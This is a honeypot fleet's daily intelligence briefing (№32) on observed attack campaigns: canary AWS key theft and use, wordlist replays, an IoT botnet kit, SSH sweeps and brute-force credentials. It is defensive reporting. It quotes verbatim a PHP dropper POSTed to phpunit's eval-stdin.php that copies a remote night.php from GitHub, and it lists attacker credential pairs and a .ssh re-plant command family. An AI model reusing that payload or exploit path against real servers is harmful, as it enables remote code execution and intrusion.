FLUX FLEET — INTEL BRIEFING №32

Period: 2026-09-24 07:34 – 2026-09-25 07:34 UTC (24h, day 30 of operations)
Sources: 7 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (Middle East), ru-edge-1 (Russia), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation; 30-day baseline; every result-tag spike traced to a source by spot query)

BLUF

Zero AWS use ended after seven windows. 80.96.59.28 (ALEXHOST SRL, MD) minted two canaries on ai-devbox-1 through single /.env requests and drew five sts:GetCallerIdentity successes plus two denied operations from the same IP — the deny-all policy held, the mint side attribution is now named, and this is the third collect-and-use run in the CREDENTIAL-DRAIN record. MEGA-DICTIONARY ran a ninth replay on frantech-ts under new host 138.199.60.3 (Datacamp SG) and the anti-join shows zero first-ever paths: the wordlist froze at 13,189, the first byte-stable replay since №28. NIGHTAGENT returned after three idle windows under 62.244.54.240 (AS202656 NL — the first non-residential host on record), replaying the phpunit verify body and a byte-identical nightshell dropper URL whose raw source still returns 404. REGISTRY-HUNT's l9scan wave scaled back to 8 full-kit IPs with zero mints, and a new two-step crawler (SS-PROBE) minted 9 canaries on the canary nodes under a self-labeling __ss_probe_<32-hex>__ marker.

Key Judgements

1. The AWS-use drought is over, and the collector is named. 80.96.59.28 minted on ai-devbox-1 at 09:49:33 -04 and again at 17:01:20 -04, forged Safari 605 and Chrome 128 respectively, and drew 5 successful sts:GetCallerIdentity plus 1 denied DescribeInstances + 1 denied ListBuckets. All denials stay in fleet policy — no escalation to ConsoleLogin, no IAM attempt, no credential batch. (High confidence — canary section joined Tracebit alerts per mint row; the deny-all policy is visible in the operation codes.)
2. MEGA-DICTIONARY froze at 13,189 paths. Anti-join of 138.199.60.3's 13,189-path replay against the full fleet historical path set gives 13,178 prior-overlap rows and zero first-ever paths — the manifest passed intact with no build iteration this cycle. (High confidence — materialized temp-table anti-join, distinct path sets both sides.)
3. NIGHTAGENT is replaying a dead template. The 62.244.54.240 dropper body is byte-identical to the №28-registered shape down to the unrotated GHSAT token (15th window on the same token) and re-fetches raw.githubusercontent.com/nightagents/nightshell/…, whose raw source still returns 404 (re-checked this cycle). The kit runs only the verify + form-login + wp-batch stages. (High confidence — bodyPreview quoted verbatim above; live URL probe this cycle.)
4. A new two-step crawler is minting with self-named probes. The /__ss_probe_<32-hex>__ shape ran 16 events on 2 IPs across the 2 canary nodes and minted 9 canaries. The probe fires first and guarantees a first-seen alert, the single /.env mints, the run ends. No POST and no second-stage payload exist on record. (High confidence — marker counts and mint joins on v_full are unambiguous.)

Active Campaigns (day 30 status)

CREDENTIAL-DRAIN (mint→use pipeline) ⟳ — THIRD COLLECT-AND-USE, NAMED COLLECTOR (Hostile, active)

• Actors: 80.96.59.28 (ALEXHOST SRL, MD, AS200019 — first fleet appearance). Prior use-side hosts per the registry: 45.67.211.147 (G-Core), 103.26.8.88 (GoMami SG), 178.16.54.184 (Omegatech NL), 45.67.216.15 + 2a02:c207:2341:3992::1.
• TTPs: single-GET /.env mint at 09:49:33 -04, second POST /.env mint at 17:01:20 -04 — both on ai-devbox-1, both under a forged browser UA. sts:GetCallerIdentity ×5 (success), DescribeInstances ×1 (denied), ListBuckets ×1 (denied). Minting IP and AWS-side remitter are the same host all cycle — no split IP.
• Assessment: this is the third collect-and-use run on record, and the first where the minter and the AWS-side actor are the same IP. Profile: identity reconnaissance only, no follow-on service enumeration beyond two denied probes. Whether a second host appears next cycle or a console session (the №24 escalation pattern) sets the campaign's next step.

MEGA-DICTIONARY (IoT dropper-URL dictionary replay) ⟳ — NINTH REPLAY, FIRST ZERO-GROWTH WINDOW SINCE №26 (Hostile, active)

• Actors: 138.199.60.3 (Datacamp Limited, SG, AS9009) — a new host, the second SG entry on the register after №28's 138.199.60.16. Prior hosts: 23.234.119.20 (tzulo US), 155.2.191.165 (Host Universal AU), 169.150.201.29 (Datacamp DE), 138.199.6.195 (Datapacket CH), 138.199.60.29 (Datapacket CH), 138.199.60.16 (Datacamp SG), 185.209.196.130 (31173 Services AB), 185.213.155.227 (31173 Services AB).
• TTPs: 13,189 GETs / 13,189 distinct paths on frantech-ts in 1m41s at 00:13–00:15 -04 (≈04:13–04:15 UTC), 208-IoT-UA rotation, all not-handled, 0 mints, 0 POSTs. Anti-join against the full fleet path history gives 13,178 prior overlap and zero first-ever paths — the manifest froze at №30's 13,189. Digital dropper-URL enumeration, no companion probes.
• Assessment: four distinct operator hosts and one shared artifact across 4 ASNs and 5 countries; the wordlist freezes only when an artifact is passing hands unmodified. The next host that shows either growth or a family regression (the manta/sever1078/nokillbins/minerd markers all contributed zero rows this cycle for the third straight replay) is the decoder for how the shared artifact passes between operators.

NIGHTAGENT (residential multi-stage IoT botnet kit) ⟳ — RETURNED AFTER 3 IDLE WINDOWS UNDER A NEW HOST (Hostile, active; dropper infrastructure still dead)

• Actors: 62.244.54.240 (Ivanov Vitaliy Sergeevich, NL, AS202656 — first appearance; not an ONP/residential identity. The prior 8 operators were all ONP MA / residential e-TN ranges; this is the first commercial-hosted one).
• TTPs: full kit replay on both EU nodes 22:15–22:45 -04. The verify body:

  <?php echo "NightAgent";?> Dropper body, byte-identical to the canonical 15-window record: <?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?> Verbatim from 6 POSTs to /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php on ai-devbox-1 (22:26:45, 22:39:21, 22:43:44 -04) and canary-farm-1 (22:15:51, 22:21:38, 22:30:50 -04). The first interim report's URL dead-code check holds: the raw target returns 404 this cycle. Companion steps include /wp-json/batch/v1 multiplex POSTs with 735-byte bodies and preserved 735-byte bodyPreview across every shell and phase. No mint in this run.

• Assessment: the operator kept the template intact but did not source a live nightshell path after the repo removal, so the dropper stage delivers nothing. The useful continuity is the actor identity, not the kit. Byte-identical token = no refresh+rebuild step on the tooling side. Second operator host that has not rotated the token.

SS-PROBE (self-naming canary crawler) ⚠ NEW — MINTING

• Actors: 194.127.166.149 (Owl Limited, JP, AS23959 — 12 runs on ai-devbox-1 + canary-farm-1 over 17:10–18:31 -04, 6 canaries minted) and 135.136.55.62 (M247 Europe SRL, JP, AS9009 — 4 runs on the same 2 nodes over 06:13–06:51 -04, 3 canaries minted). IP-bound, two separate ASNs, one shared TTP.
• TTPs: one 2-step pair per run: GET /__ss_probe_<random-32-hex>__ (404, self-labeled python-requests/2.31.0) then GET /.env (200, minted) several seconds later. Marker suffix changes every run; no POSTs, no secondary path fanout, no collection addresses other than the 9 minted rows. Each run produces exactly one marker, one mint, and zero exploration.
• Assessment: this is a canary farmer, not a leak hunter: the marker guarantees the fleet's first-seen alert fires, the single /.env mints, and the run ends. Two first-time operators in one window under the same two-step fingerprint makes this an actively deployed pattern. Diff the next cycle's markers from these originals before merging into CREDSWEEP.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — 8-IP WAVE, ZERO MINTS

• Actors: 8 l9scan-family IPs, 328 events, 41 ev each; 4 on ai-devbox-1 and 4 on canary-farm-1. 206.81.12.187, 139.59.132.8, 64.225.75.246, 165.22.34.189 (aidev) · 157.245.36.108, 46.101.111.185, 134.122.28.88, 143.110.217.244 (farm). Separate 174 l9explore-family events on other nodes.
• TTPs: the registered 12-step WebLogic → Confluence → WHM/cPanel → docker-registry census, unchanged. No mints and no admission of identity beyond the tool UA per host. 174 additional l9explore events on netcup/sponge/control/ru-edge.
• Assessment: leak-service shape (public LeakIX scanning); borderline per the registry — report activity, do not fold into the criminal-set. The IP pool has shed the 29-IP wave shape from №30 and settled back on the ~8-IP cadence it ran at №26 through №28.

TOKEN-CRAWLER (frantech /c/ random-token crawler) ⟳ — SIX IPs, NO MINTS

• Actors: 45.198.224.230–.239 (6 /24 IPs in-window on frantech-ts).
• TTPs: same as №28–№30: /c/<100-char random token> GETs, all not-handled, single forged Chrome/114 UA per IP, all 4 vanity Host headers rotated (we-love-the.world, bunnyfeet.baby ×2, make-internet-safer-for-the.world). Fresh tokens per pass. Zero mints and zero POSTs all-time for this /24. A direct /24 query this cycle re-checked the /24 correlation key.
• Assessment: back after №29's absence. /24 remains the correlation key and the promotion trigger stays a mint or a POST.

Standing actors (persistence check)

• 204.76.203.18 (Pfcloud UG NL, MALWARE-DICT loop) — 19th consecutive window on control-1. 2,144 events / 580 paths / stable not-handled shell, byte-identical to №25–№30's shape. Blocklist wraps at ipsum:2.
• 213.209.159.175 (Feo Prest SRL DE) — 19th consecutive window. 380 events on canary-farm-1 and 84 on control-1 in-window; 9 issued in-window (6 control + 3 farm) and 58 across the 6-day Tracebit pull — the fleet's top persistent collector; the standing hoard is unchanged.
• 80.94.95.211 (SS-Net RO, SS-NET TOOLING) — 15th window in 18: 3 events on ai-devbox-1, 3 mints in-window (21 across the 6-day pull).
• 45.148.10.171 (CREDSWEEP-sibling lineage, unregistered) — second consecutive window, 7 in-window mints (4 farm, 2 aidev, 1 control, 16 in the 6-day pull). The wordlist-family shape holds. Second run toward the register on a third.
• 185.73.23.162 (Ruhr-Uni Bochum, benign research) — 4,045 events this window split across netcup-ts (2,153) and sponge-01-ts (1,892), vs 2,767 combined prior. The scanner's /-only tarpit shape is unchanged; this is bulk benign traffic, not a hostile change.
• 89.248.171.24 / 89.248.172.14 / 93.174.93.12 (uptime-prober trio, benign-shape) — present on 5–7 nodes at 63–54 events, unchanged shape.

Network-layer recon (Arkime)

Network-layer recon (Arkime) — 2026-09-24 07:34:00 → 2026-09-25 07:34:46 UTC

Fingerprint field ssh.hassh, destination port 22 · 77,195 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 60,093, frantech-ts 38,172, sensor:frantech-ts 38,172, sensor:ru-vps-01-ts 10,026, bahrain-sponge-01-ts 7,233, sensor:bahrain-sponge-01-ts 7,233

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,776 sessions from 337 source IPs across 178 networks in 61 countries, port 22, avg 4,926 B/session. Networks: AS8075 Microsoft Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS150436 Byteplus Pte. Ltd., AS4766 Korea Telecom, AS132203 Tencent Building, Kejizhongyi Avenue. Busiest sources: 2.28.235.95, 147.90.234.19, 217.154.38.181, 152.32.175.179, 178.27.90.142. Last 7 days: 09-19 328 IPs, 09-20 327 IPs, 09-21 373 IPs, 09-22 297 IPs, 09-23 351 IPs, 09-24 330 IPs, 09-25 113 IPs.
• 06ff3615a51b2af343ec22abc8e30bbc — client banner ssh-2.0-go, 265 sessions from 192 source IPs across 141 networks in 55 countries, port 22, avg 4,880 B/session. Networks: AS58224 Iran Telecommunication Company PJS, AS12389 Rostelecom, AS14061 DigitalOcean, LLC, AS4766 Korea Telecom, AS132203 Tencent Building, Kejizhongyi Avenue. Busiest sources: 78.38.84.140, 103.10.120.8, 103.153.65.59, 103.232.239.218, 160.22.240.235. Last 7 days: 09-10 653 IPs, 09-11 645 IPs, 09-12 398 IPs, 09-17 274 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

• LIBSSH-MASSSWEEP holds its post-09-19 plateau: 337 IPs / 178 networks / 5,776 sessions — the 09-25 count (113) is partial-window censoring, not a trend. Continuous since 09-09, 6 days registered.
• GO-SPRAY-SWEEP (06ff3615a51b…, SSH-2.0-go) crossed the dispersed threshold again: 192 IPs / 141 networks / 265 sessions in a 1 h 42 m burst 11:39–13:21 UTC. The №30 register marked it paused on two sub-floor misses; this third reading is an unpause — the operator did not stop, it went quiet on the ≥5-session floor and then hit the mass threshold once more. The daily history (09-10 653 → 09-11 645 → 09-12 398 → 09-17 274) plus today's 192-IP run still beats the 09-21 136-IP crossing on source diversity, even with fewer sessions.
• Single-source shape persists across the standing clients 0a07365cc01f… (18,605 sessions / 32 IPs — the fleet's heaviest network-layer load) and 16443846184e… (7,445 / 36). Both stay below the dispersed thresholds and unregistered; characterisation is still deferred to a briefing that can distinguish them.
• New below-threshold banners: ssh-2.0-asyncssh_2.1.0 (47 sessions / 1 IP observed in the recon-source land — not on the fleet IPs this window), small-cluster ssh-2.0-libssh_0.9.6 sibling (9 / 1). Unregistered.

Fleet Observations

• Mint economics this window: the digest's per-sensor canary table counts 97 minted rows (control 24 · farm 40 · aidev 30 · ru-edge 3) against 27 distinct minting IPs in the true new window; the Tracebit-side cross-check sees 83 credentials, the 14-row delta is the 24h-window edge cast either side of the seam, not a missed credential. Mint failures (mint-health true-24h): aidev 5, control 3, farm 17, ru-edge 0 — all 400 Bad Request from burst-speed pressure, no key defects, clean on ru-edge for the second window since the №30 .87 absence. All-time fleet issued rows: 97 this window, standing hoard now ≈ 488 credentials across named collectors (391 standing from №30 + 97).
• First AWS use in 8 windows described under CREDENTIAL-DRAIN above: 5 GetCallerIdentity successes, 2 denied probes, deny-all held, no console login, no IAM escalation attempt.
• Attribution/TLS posture: XFF forgery counters stayed near-zero — 545 requests with any XFF, 0 multi-entry chains, 1 internal-chain row, 2 single-entry mismatches (a single use of the №29-style X-Forwarded-For value, uncorrelated to a socketPeer campaign). Host census unchanged: each node's own public IP dominates its own Host header count, and the 2 configured TLS-facing sso.*/inference.* vhosts stay in the tail.
• Fleet volume moves and their causes: control-1 +65% (6,561 vs 3,973) — 48% of the delta is the three 1,050-event OMEGA censuses (.244, .247, .249 — same byte-identical 743-path template) plus the Pfcloud loop, both already listed; ru-edge-1 −74% (1,192 vs 4,601) — the №30 census operators, led by 87.120.104.29's 1,650-event CONFIG-SWEEP run, did not return; netcup-ts −57% — the Ruhr-Uni scanner's prior-window 5,037-event pass did not repeat; ai-devbox-1 −37% (2,569 vs 4,055) — the OMEGA pool ran one census on farm instead; sponge-01-ts +85% — the Ruhr-Uni scanner moved its cadence onto sponge, again on an unaltered /-only shape.
• control-1 discovery velocity stays in the settled band: 92 daily unique IPs, inside the 62–145 post-fix range for the seventh window. The +65% events delta is per-IP volume, not discovery:
  • 2026-09-25: 6,561 ev / 92 IP
  • 2026-09-24: 4,271 / 119
  • 2026-09-23: 3,598 / 121
  • 2026-09-22: 5,088 / 145
  • 2026-09-21: 2,632 / 89
  • 2026-09-20: 3,856 / 109
  • 2026-09-19: 5,283 / 129
  • 2026-09-18: 3,082 / 124

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 630 sources sent credentials → 479 got a shell (76%) → 280 ran a command (58% of shell-getters, 44% of sources). Event level: 20,710 credential attempts → 5,564 accepted logins → 8,486 commands — 153% of accepted logins go on to run something, so operators keep working the boxes.

Sixth consecutive fully static window: zero new commands (0 of 63 distinct), zero new credential pairs (0 of 11,731). Telnet commodity botnets: 2,114 attempts. The dominant credential pairs are unchanged (345gs5662d34/345gs5662d34 1,074, root/3245gs5662d34 809) and the top command families are unchanged: the uname inventory cluster (2,840 events from 5 IPs — 109.160.32.105 leads), the chattr -ia .ssh re-plant family (1,118 events from 233 IPs), and the 13-IP export PATH=… env-recon cluster (92.118.39.49, 138 events each). No first-seen command exists to quote — the fleet's post-compromise visibility stays dark.

Gaps / Next Collection

1. 80.96.59.28's next move, not the mint. Third collect-and-use run on record; the AWS-side actor is one IP this cycle. Watch for (a) a second use IP splitting from a single-session collector — every previous use run separated mint IP from use IP by distinct hosts, (b) whether DescribeInstances/ListBuckets repeats or a new service name appears, (c) whether a second minter claims the same hoard.
2. Register the SS-PROBE crawler on a second run. Two new operators, one TTP, 9 canaries minted in one window — diff each new run's marker suffix against the originals (194.127.166.149's 12 and 135.136.55.62's 4) before folding into CREDSWEEP.
3. NIGHTAGENT's toll: 62.244.54.240 with the unrotated token is one host. A second run by this host, or any new-URL dropper body, moves the campaign from stale-template replay to an active re-kit decision. The parent repo's kill (verified 404 this cycle) removed the mechanism, not the operator.
4. OMEGA's census cadence: 4 IPs ran the census in one window with 27 mints total — .246 farm (2,100 ev), .249 farm (2,222 ev, 12 mints), .247 control (1,050 ev, 6 mints), .244 control (1,050 ev, 0 mints). This is the largest single-window /46 volume since №28's 6,600 events. Track whether the .246 and .249 runs mint on the next repeat; if a fourth operator IP re-joins with the 178-era burst cadence, the block's census-to-hoard pipeline is re-accelerating.
5. NYT check: 2.27.154.52 (Samuel Dierich, NL, forged Firefox/59) minted 6 in-window (4 farm, 2 aidev) with a 7-event / 69-parameter pass. No second stage, no post-auth, no other campaigns to correlate with. First-time mint collector; watch for a repeat under the same IP before naming.

Digest: /data/flux-logs/reports/flux-digest-2026-09-25.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-09-25.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-25.html

Watch next cycle: (1) CREDENTIAL-DRAIN's collect-and-use shape — 80.96.59.28 is the first documented case where the minting IP and the AWS-side remitter are the same host; watch for a second use IP or a service-name escalation. (2) MEGA-DICTIONARY — the manifest froze for the first time in four replays; a tenth replay from a new host or a growth event is the version tracker's next data point. (3) NIGHTAGENT's next dropper body — 62.244.54.240 replayed the dead URL byte-identical; any fresh URL with the same probe body shows the re-kit is live.